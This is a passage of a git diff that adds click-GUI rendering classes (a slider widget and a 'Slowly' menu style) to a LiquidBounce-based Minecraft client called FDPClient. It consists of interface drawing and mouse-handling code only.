Fonts.fontSFUI35.drawString(value.getName(), startX + 70.0F + this.animationMN, f + 4.0F, (new Color(200, 200, 200)).getRGB(), false); + } else { + Fonts.fontSFUI35.drawString(value.getName(), startX + 70.0F + this.animationMN, f + 4.0F, (new Color(190, 190, 190)).getRGB(), false); + } + } + + RenderUtil.drawRect(startX + 50.0F, f - 5.0F, startX + 285.0F, f + 20.0F, RenderUtil.reAlpha(Colors.WHITE.c, this.animationopacity)); + if (value.getState()) { + RenderUtil.drawGradientRect2((double) (startX + 50.0F), (double) (f - 5.0F), (double) (startX + 51.0F), (double) (f + 20.0F), Ranbow, (new Color(4555775)).getRGB()); + } + + if (this.isSettingsButtonHovered(startX + 65.0F, f, startX + 285.0F, f + 8.0F + (float) Fonts.fontSFUI35.getStringWidth(""), mouseX, mouseY) && !this.MIND) { + if (!this.previousmouse && Mouse.isButtonDown(0)) { + if (value.getState()) { + value.setState(false); + } else { + value.setState(true); + } + + this.previousmouse = true; + } + + if (!this.previousmouse && Mouse.isButtonDown(1)) { + this.previousmouse = true; + } + } + + if (!Mouse.isButtonDown(0) && !this.MIND) { + this.previousmouse = false; + } + + if (this.isSettingsButtonHovered(startX + 65.0F, f, startX + 285.0F + (float) Fonts.fontSFUI35.getStringWidth(value.getName()), f + 8.0F + (float) Fonts.fontSFUI35.getStringWidth(""), mouseX, mouseY) && Mouse.isButtonDown(1) && !this.MIND) { + currentModule = value; + Minecraft.getMinecraft().thePlayer.playSound("random.click", 0.5F, 4.0F); + this.valueStart = 0; + this.MIND = true; + } + + f += 30.0F; + } + } + + for (font = 0; font < currentModule.getValues().size(); ++font) { + Value value = (Value) currentModule.getValues().get(font); + + if (value instanceof BoolValue) { + this.modBooleanValue.add((BoolValue) value); + } + + if (value instanceof ListValue) { + this.modModeValue.add((ListValue) value); + } + + if (value instanceof FloatValue) { + this.modDoubleValue.add((FloatValue) value); + } + + if (value instanceof IntegerValue) { + this.modIntValue.add((IntegerValue) value); + } + } + + f = startY + 12.0F; + if (this.MIND) { + if (this.isCategoryHovered(startX - 40.0F, startY - 10.0F, startX + 300.0F, startY + 240.0F, mouseX, mouseY)) { + if (m < 0 && this.valueStart < (currentModule.getValues().size() - 1) * 12) { + this.valueStart += 12; + } + + if (m > 0 && this.valueStart - 12 >= 0) { + this.valueStart -= 12; + } else if (m > 0) { + this.valueStart = 0; + } + } + + if (this.animationX == 0.0F) { + ; + } + + this.animationX = (float) RenderUtil.getAnimationState((double) this.animationX, 390.0D, 600.0D); + this.animationY = (float) RenderUtil.getAnimationState((double) this.animationY, 120.0D, 800.0D); + GL11.glPushMatrix(); + GL11.glEnable(3089); + RenderUtil.doGlScissor((int) (startX - 40.0F), 0, (int) this.animationX, RenderUtil.height()); + RenderUtil.drawDimRect((double) (startX - 40.0F), (double) (startY - 10.0F), (double) (startX + 300.0F), (double) (startY + 8.0F), Colors.getColor(44, 44, 45)); + RenderUtil.drawDimRect((double) (startX - 40.0F), (double) (startY + 8.0F), (double) (startX + 300.0F), (double) (startY + 260.0F), Colors.getColor(37, 37, 38)); + RenderUtil.circle(startX + 292.0F, startY - 4.0F, 4.0F, (new Color(-14848033)).brighter()); + if (this.isSettingsButtonHovered(startX + 288.0F, startY - 6.0F, startX + 344.0F, startY + 2.0F, mouseX, mouseY) && Mouse.isButtonDown(0)) { + this.MIND = false; + } + + GameFontRenderer gamefontrenderer = Fonts.fontSFUI35; + + Fonts.fontSFUI35.drawString(currentModule.getName(), startX - 35.0F, startY - 8.0F, -1); + GL11.glPushMatrix(); + if (this.animationX == 390.0F) { + RenderUtil.doGlScissor((int) startX - 40, (int) startY + 8, (int) startX + 300, RenderUtil.height()); + } + + float x; + Iterator iterator; + + for (iterator = this.modBooleanValue.iterator(); iterator.hasNext(); f += 20.0F) { + BoolValue value1 = (BoolValue) iterator.next(); + + if (f - (float) this.valueStart > startY + 220.0F) { + break; + } + + Gui.drawRect(1, 1, 1, 1, -1); + x = startX + 250.0F; + gamefontrenderer.drawString(value1.getName(), startX - 30.0F, f - (float) this.valueStart, (new Color(255, 255, 255)).getRGB()); + if (((Boolean) value1.getValue()).booleanValue()) { + this.buttonColor = (new Color(-14848033)).brighter(); + } else { + this.buttonColor = new Color(80, 80, 80); + } + + RenderUtil.circle(x + 35.0F, f - (float) this.valueStart + 2.0F, 4.0F, this.buttonColor.getRGB()); + if (this.isCheckBoxHovered(x + 30.0F, f - (float) this.valueStart, x + 38.0F, f - (float) this.valueStart + 9.0F, mouseX, mouseY)) { + if (!this.previousmouse && Mouse.isButtonDown(0)) { + this.previousmouse = true; + this.mouse = true; + } + + if (this.mouse) { + value1.setValue(Boolean.valueOf(!((Boolean) value1.getValue()).booleanValue())); + this.mouse = false; + } + } + + if (!Mouse.isButtonDown(0)) { + this.previousmouse = false; + } + } + + UISlider uislider; + + for (iterator = this.modDoubleValue.iterator(); iterator.hasNext(); f += 22.0F) { + FloatValue floatvalue = (FloatValue) iterator.next(); + + if (f - (float) this.valueStart > startY + 220.0F) { + break; + } + + if (doubleValueMap.containsKey(floatvalue)) { + uislider = (UISlider) doubleValueMap.get(floatvalue); + } else { + uislider = new UISlider(floatvalue); + doubleValueMap.put(floatvalue, uislider); + } + + uislider.drawAll(startX + 45.0F, f - (float) this.valueStart, mouseX, mouseY); + } + + for (iterator = this.modIntValue.iterator(); iterator.hasNext(); f += 22.0F) { + IntegerValue integervalue = (IntegerValue) iterator.next(); + + if (f - (float) this.valueStart > startY + 220.0F) { + break; + } + + if (IntValueMap.containsKey(integervalue)) { + uislider = (UISlider) IntValueMap.get(integervalue); + } else { + uislider = new UISlider(integervalue); + IntValueMap.put(integervalue, uislider); + } + + uislider.drawAlll(startX + 45.0F, f - (float) this.valueStart, mouseX, mouseY); + } + + for (iterator = this.modModeValue.iterator(); iterator.hasNext(); f += 20.0F) { + ListValue listvalue = (ListValue) iterator.next(); + + if (f - (float) this.valueStart > startY + 220.0F) { + break; + } + + x = startX + 250.0F; + RenderUtil.drawRect(x - 40.0F, f - (float) this.valueStart - 1.0F, x + 40.0F, f - (float) this.valueStart + 12.0F, (new Color(60, 60, 60)).getRGB()); + Fonts.fontSFUI35.drawString(listvalue.getName(), startX - 30.0F, f - (float) this.valueStart, (new Color(255, 255, 255)).getRGB()); + Fonts.fontSFUI35.drawCenteredString((String) listvalue.getValue(), x - 2.0F, f - (float) this.valueStart + 2.0F, -1); + if (this.isStringHovered(x - 40.0F, f - (float) this.valueStart - 1.0F, x + 40.0F, f - (float) this.valueStart + 12.0F, mouseX, mouseY)) { + if (Mouse.isButtonDown(0) && !this.previousmouse) { + String current = (String) listvalue.getValue(); + + listvalue.set(listvalue.getValues()[listvalue.getModeListNumber(current) + 1 >= listvalue.getValues().length ? 0 : listvalue.getModeListNumber(current) + 1]); + this.previousmouse = true; + } + + if (!Mouse.isButtonDown(0)) { + this.previousmouse = false; + } + } + } + + GL11.glPopMatrix(); + GL11.glDisable(3089); + GL11.glPopMatrix(); + } else { + this.animationX = (float) RenderUtil.getAnimationState((double) this.animationX, 0.0D, 800.0D); + this.animationY = (float) RenderUtil.getAnimationState((double) this.animationY, 0.0D, 800.0D); + } + } + + } + + public boolean isStringHovered(float f, float y, float g, float y2, int mouseX, int mouseY) { + return (float) mouseX >= f && (float) mouseX <= g && (float) mouseY >= y && (float) mouseY <= y2; + } + + public boolean isSettingsButtonHovered(float x, float y, float x2, float y2, int mouseX, int mouseY) { + return (float) mouseX >= x && (float) mouseX <= x2 && (float) mouseY >= y && (float) mouseY <= y2; + } + + public boolean isButtonHovered(float f, float y, float g, float y2, int mouseX, int mouseY) { + return (float) mouseX >= f && (float) mouseX <= g && (float) mouseY >= y && (float) mouseY <= y2; + } + + public boolean isCheckBoxHovered(float f, float y, float g, float y2, int mouseX, int mouseY) { + return (float) mouseX >= f && (float) mouseX <= g && (float) mouseY >= y && (float) mouseY <= y2; + } + + public boolean isCategoryHovered(float x, float y, float x2, float y2, int mouseX, int mouseY) { + return (float) mouseX >= x && (float) mouseX <= x2 && (float) mouseY >= y && (float) mouseY <= y2; + } + + public boolean isHovered(float x, float y, float x2, float y2, int mouseX, int mouseY) { + return (float) mouseX >= x && (float) mouseX <= x2 && (float) mouseY >= y && (float) mouseY <= y2; + } + + public void onGuiClosed() { + this.opacity.setOpacity(0.0F); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/UISlider.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/UISlider.java new file mode 100644 index 0000000..902ed94 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/Slight/UISlider.java @@ -0,0 +1,189 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.Slight; + +import net.ccbluex.liquidbounce.features.value.FloatValue; +import net.ccbluex.liquidbounce.features.value.IntegerValue; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.utils.render.Colors; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.ScaledResolution; +import org.lwjgl.input.Mouse; + +import java.awt.*; + +public class UISlider { + + FloatValue value; + IntegerValue valuee; + public float x; + public float y; + public int x2; + public int y2; + private boolean isDraging; + private boolean clickNotDraging; + public boolean showValue; + public int tX; + public int tY; + public int dragX; + public int dragY; + float ani = 0.0F; + float aniH; + + public UISlider(FloatValue value) { + this.value = value; + } + + public UISlider(IntegerValue valuee) { + this.valuee = valuee; + } + + public static Color rainbow(long time, float count, float fade) { + float hue = ((float) time + (1.0E-9F + count) * 4.0E8F) / 1.75000003E10F * 3.0F; + long color = Long.parseLong(Integer.toHexString(Integer.valueOf(Color.HSBtoRGB(hue, 0.5F, 1.0F)).intValue()), 16); + Color c = new Color((int) color); + + return new Color((float) c.getRed() / 255.0F * fade, (float) c.getGreen() / 255.0F * fade, (float) c.getBlue() / 255.0F * fade, (float) c.getAlpha() / 255.0F); + } + + public void draw(float x, float y) { + boolean countMod = false; + int[] counter = new int[1]; + int rainbowCol = rainbow(System.nanoTime() * 3L, (float) counter[0], 1.0F).getRGB(); + Color col = new Color(rainbowCol); + int Ranbow = (new Color(0, col.getGreen() / 3 + 40, col.getGreen() / 2 + 100)).getRGB(); + int Ranbow1 = (new Color(0, col.getGreen() / 3 + 20, col.getGreen() / 2 + 100)).getRGB(); + GameFontRenderer tahoma20 = Fonts.font35; + float n = (((Float) this.value.getValue()).floatValue() - this.value.getMinimum()) / (this.value.getMaximum() - this.value.getMinimum()); + + tahoma20.drawString(this.value.getName(), x - 75.0F, y - 3.0F, Colors.WHITE.c); + Fonts.font35.drawString(this.value.getValue() + "", x + 250.0F - (float) Fonts.font35.getStringWidth(this.value.getValue() + ""), y - 1.0F, (new Color(Colors.GREY.c)).brighter().brighter().getRGB()); + if (this.ani == 0.0F) { + this.ani = (float) ((double) (x + 250.0F) - (370.0D - 370.0D * (double) n)); + } + + this.ani = (float) RenderUtil.getAnimationState((double) this.ani, (double) ((float) ((double) (x + 250.0F) - (370.0D - 370.0D * (double) n))), (double) ((float) Math.max(10.0D, Math.abs((double) this.ani - ((double) (x + 120.0F) - (370.0D - 370.0D * (double) n))) * 30.0D * 0.3D))); + if (this.showValue) { + ; + } + + RenderUtil.drawRect(x - 75.0F, y + 3.0F + 11.0F, x + 250.0F, y + 4.0F + 11.0F, (new Color(60, 60, 60)).getRGB()); + RenderUtil.drawGradientRect2((double) (x - 75.0F), (double) (y + 3.0F + 11.0F), (double) this.ani, (double) (y + 4.0F + 11.0F), Ranbow, (new Color(4555775)).getRGB()); + } + + public void draww(float x, float y) { + boolean countMod = false; + int[] counter = new int[1]; + int rainbowCol = rainbow(System.nanoTime() * 3L, (float) counter[0], 1.0F).getRGB(); + Color col = new Color(rainbowCol); + int Ranbow = (new Color(0, col.getGreen() / 3 + 40, col.getGreen() / 2 + 100)).getRGB(); + int Ranbow1 = (new Color(0, col.getGreen() / 3 + 20, col.getGreen() / 2 + 100)).getRGB(); + GameFontRenderer tahoma20 = Fonts.font35; + int n = (((Integer) this.valuee.getValue()).intValue() - this.valuee.getMinimum()) / (this.valuee.getMaximum() - this.valuee.getMinimum()); + + tahoma20.drawString(this.valuee.getName(), x - 75.0F, y - 3.0F, Colors.WHITE.c); + Fonts.font35.drawString(this.valuee.getValue() + "", x + 250.0F - (float) Fonts.font35.getStringWidth(this.valuee.getValue() + ""), y - 1.0F, (new Color(Colors.GREY.c)).brighter().brighter().getRGB()); + if (this.ani == 0.0F) { + this.ani = (float) ((double) (x + 250.0F) - (370.0D - 370.0D * (double) n)); + } + + this.ani = (float) RenderUtil.getAnimationState((double) this.ani, (double) ((float) ((double) (x + 250.0F) - (370.0D - 370.0D * (double) n))), (double) ((float) Math.max(10.0D, Math.abs((double) this.ani - ((double) (x + 120.0F) - (370.0D - 370.0D * (double) n))) * 30.0D * 0.3D))); + if (this.showValue) { + ; + } + + RenderUtil.drawRect(x - 75.0F, y + 3.0F + 11.0F, x + 250.0F, y + 4.0F + 11.0F, (new Color(60, 60, 60)).getRGB()); + RenderUtil.drawGradientRect2((double) (x - 75.0F), (double) (y + 3.0F + 11.0F), (double) this.ani, (double) (y + 4.0F + 11.0F), Ranbow, (new Color(4555775)).getRGB()); + } + + public void drawAll(float x, float y, int tx, int ty) { + this.x = x; + this.y = y; + + new ScaledResolution(Minecraft.getMinecraft()); + + if (this.isHovered(tx, ty, this.x - 100.0F, this.y - 3.0F + 11.0F, this.x - 10.0F, this.y + 10.0F + 11.0F)) { + this.showValue = true; + } else { + this.showValue = false; + } + + if (Mouse.isButtonDown(0)) { + if (!this.isHovered(tx, ty, this.x - 75.0F, this.y - 3.0F + 11.0F, this.x + 250.0F, this.y + 10.0F + 11.0F) && !this.isDraging) { + this.clickNotDraging = true; + } else { + this.isDraging = true; + } + + if (this.isDraging && !this.clickNotDraging) { + float n = ((float) tx - this.x + 120.0F) / 370.0F; + + if ((double) n < 0.0D) { + n = 0.0F; + } + + if ((double) n > 1.0D) { + n = 1.0F; + } + + float n2 = (float) Math.round(this.value.getMaximum() - this.value.getMinimum()) * n + this.value.getMinimum() * 100.0F / 100.0F; + + this.value.set((Number) Float.valueOf(n2)); + } + } else { + this.isDraging = false; + this.clickNotDraging = false; + } + + this.tX = tx; + this.tY = ty; + this.draw(x, y); + } + + public void drawAlll(float x, float y, int tx, int ty) { + this.x = x; + this.y = y; + + new ScaledResolution(Minecraft.getMinecraft()); + + if (this.isHovered(tx, ty, this.x - 100.0F, this.y - 3.0F + 11.0F, this.x - 10.0F, this.y + 10.0F + 11.0F)) { + this.showValue = true; + } else { + this.showValue = false; + } + + if (Mouse.isButtonDown(0)) { + if (!this.isHovered(tx, ty, this.x - 75.0F, this.y - 3.0F + 11.0F, this.x + 250.0F, this.y + 10.0F + 11.0F) && !this.isDraging) { + this.clickNotDraging = true; + } else { + this.isDraging = true; + } + + if (this.isDraging && !this.clickNotDraging) { + int n = (tx - this.x2 + 120) / 370; + + if (n < 0) { + n = 0; + } + + if (n > 1) { + n = 1; + } + + int n2 = (int) ((double) (Math.round((float) (this.valuee.getMaximum() - this.valuee.getMinimum())) * n) + (double) this.valuee.getMinimum() * 1.0D / 1.0D); + + this.valuee.set((Number) Integer.valueOf(n2)); + } + } else { + this.isDraging = false; + this.clickNotDraging = false; + } + + this.tX = tx; + this.tY = ty; + this.draww(x, y); + } + + public boolean isHovered(int mouseX, int mouseY, float x, float y, float x2, float y2) { + return (float) mouseX >= x && (float) mouseX <= x2 && (float) mouseY >= y && (float) mouseY <= y2; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/SlowlyStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/SlowlyStyle.java new file mode 100644 index 0000000..1f04597 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/SlowlyStyle.java @@ -0,0 +1,301 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.util.List; + +public class SlowlyStyle extends Style { + + private boolean mouseDown; + private boolean rightMouseDown; + + public static float drawSlider(final float value, final float min, final float max, final int x, final int y, final int width, final int mouseX, final int mouseY, final Color color) { + final float displayValue = Math.max(min, Math.min(value, max)); + + final float sliderValue = (float) x + (float) width * (displayValue - min) / (max - min); + + RenderUtils.drawRect(x, y, x + width, y + 2, Integer.MAX_VALUE); + RenderUtils.drawRect(x, y, sliderValue, y + 2, color); + RenderUtils.drawFilledCircle((int) sliderValue, y + 1, 3, color); + + if (mouseX >= x && mouseX <= x + width && mouseY >= y && mouseY <= y + 3 && Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double(((double) mouseX - (double) x) / ((double) width - 3), 0, 1); + + BigDecimal bigDecimal = new BigDecimal(Double.toString((min + (max - min) * i))); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal.floatValue(); + } + + return value; + } + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + RenderUtils.drawBorderedRect((float) panel.getX(), (float) panel.getY() - 3, (float) panel.getX() + panel.getWidth(), (float) panel.getY() + 17, 3, new Color(42, 57, 79).getRGB(), new Color(42, 57, 79).getRGB()); + if (panel.getFade() > 0) { + RenderUtils.drawBorderedRect((float) panel.getX(), (float) panel.getY() + 17, (float) panel.getX() + panel.getWidth(), panel.getY() + 19 + panel.getFade(), 3, new Color(54, 71, 96).getRGB(), new Color(54, 71, 96).getRGB()); + RenderUtils.drawBorderedRect((float) panel.getX(), panel.getY() + 17 + panel.getFade(), (float) panel.getX() + panel.getWidth(), panel.getY() + 19 + panel.getFade() + 5, 3, new Color(42, 57, 79).getRGB(), new Color(42, 57, 79).getRGB()); + } + GlStateManager.resetColor(); + float textWidth = Fonts.font35.getStringWidth("§f" + StringUtils.stripControlCodes(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")))); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), (int) (panel.getX() - (textWidth - 100.0F) / 2F), panel.getY() + 7 - 3, Color.WHITE.getRGB()); + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + int textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawBorderedRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.font35.FONT_HEIGHT + 3, 3F, new Color(42, 57, 79).getRGB(), new Color(42, 57, 79).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.font35.FONT_HEIGHT / 2), Color.WHITE.getRGB()); + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + Gui.drawRect(buttonElement.getX() - 1, buttonElement.getY() - 1, buttonElement.getX() + buttonElement.getWidth() + 1, buttonElement.getY() + buttonElement.getHeight() + 1, hoverColor(buttonElement.getColor() != Integer.MAX_VALUE ? new Color(7, 152, 252) : new Color(54, 71, 96), buttonElement.hoverTime).getRGB()); + + GlStateManager.resetColor(); + + Fonts.font35.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), buttonElement.getX() + 5, buttonElement.getY() + 5, Color.WHITE.getRGB()); + } + + /*public static boolean drawCheckbox(final boolean value, final int x, final int y, final int mouseX, final int mouseY, final Color color) { + RenderUtils.drawRect(x, y, x + 20, y + 10, value ? Color.GREEN : Color.RED); + RenderUtils.drawFilledCircle(x + (value ? 15 : 5),y + 5, 5, Color.WHITE); + + if(mouseX >= x && mouseX <= x + 20 && mouseY >= y && mouseY <= y + 10 && Mouse.isButtonDown(0)) + return !value; + + return value; + }*/ + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + Gui.drawRect(moduleElement.getX() - 1, moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth() + 1, moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(54, 71, 96), moduleElement.hoverTime).getRGB()); + Gui.drawRect(moduleElement.getX() - 1, moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth() + 1, moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(7, 152, 252, moduleElement.slowlyFade), moduleElement.hoverTime).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), moduleElement.getX() + 5, moduleElement.getY() + 5, Color.WHITE.getRGB()); + + // Draw settings + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if (!moduleValues.isEmpty()) { + Fonts.font35.drawString(">", moduleElement.getX() + moduleElement.getWidth() - 8, moduleElement.getY() + 5, Color.WHITE.getRGB()); + + if (moduleElement.isShowSettings()) { + if (moduleElement.getSettingsWidth() > 0F && moduleElement.slowlySettingsYPos > moduleElement.getY() + 6) + RenderUtils.drawBorderedRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), moduleElement.slowlySettingsYPos + 2, 3F, new Color(54, 71, 96).getRGB(), new Color(54, 71, 96).getRGB()); + + moduleElement.slowlySettingsYPos = moduleElement.getY() + 6; + for (final Value value : moduleValues) { + if(!value.getDisplayable()) + continue; + + if (value instanceof BoolValue) { + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, ((BoolValue) value).get() ? Color.WHITE.getRGB() : Integer.MAX_VALUE); + moduleElement.slowlySettingsYPos += 11; + } else if (value instanceof ListValue) { + final ListValue listValue = (ListValue) value; + + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, 0xffffff); + Fonts.font35.drawString(listValue.openList ? "-" : "+", (int) (moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), moduleElement.slowlySettingsYPos + 2, 0xffffff); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + Fonts.font35.FONT_HEIGHT && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + + for (final String valueOfList : listValue.getValues()) { + final float textWidth2 = Fonts.font35.getStringWidth("> " + valueOfList); + + if (moduleElement.getSettingsWidth() < textWidth2 + 12) + moduleElement.setSettingsWidth(textWidth2 + 12); + + if (listValue.openList) { + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos + 2 && mouseY <= moduleElement.slowlySettingsYPos + 14 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + GlStateManager.resetColor(); + Fonts.font35.drawString("> " + valueOfList, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? Color.WHITE.getRGB() : Integer.MAX_VALUE); + moduleElement.slowlySettingsYPos += Fonts.font35.FONT_HEIGHT + 1; + } + } + + if (!listValue.openList) { + moduleElement.slowlySettingsYPos += 1; + } + } else if (value instanceof FloatValue) { + final FloatValue floatValue = (FloatValue) value; + final String text = value.getName() + "§f: " + round(floatValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(floatValue.get(), floatValue.getMinimum(), floatValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != floatValue.get()) + floatValue.set(valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xffffff); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof IntegerValue) { + final IntegerValue integerValue = (IntegerValue) value; + final String text = value.getName() + "§f: " + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(integerValue.get(), integerValue.getMinimum(), integerValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(7, 152, 252)); + + if (valueOfSlide != integerValue.get()) + integerValue.set((int) valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xffffff); + moduleElement.slowlySettingsYPos += 19; + } else if (value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + } else if (fontRenderer == Fonts.minecraftFont) + displayString = "Font: Minecraft"; + else { + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if (objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.font35.drawString(displayString, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, Color.WHITE.getRGB()); + int stringWidth = Fonts.font35.getStringWidth(displayString); + + if (moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if ((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if (Mouse.isButtonDown(0)) { + for (int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i++; + + if (i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + } else { + for (int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i--; + + if (i >= fonts.size()) + i = 0; + + if (i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + + moduleElement.slowlySettingsYPos += 11; + } else { + final String text = value.getName() + "§f: " + value.get(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + 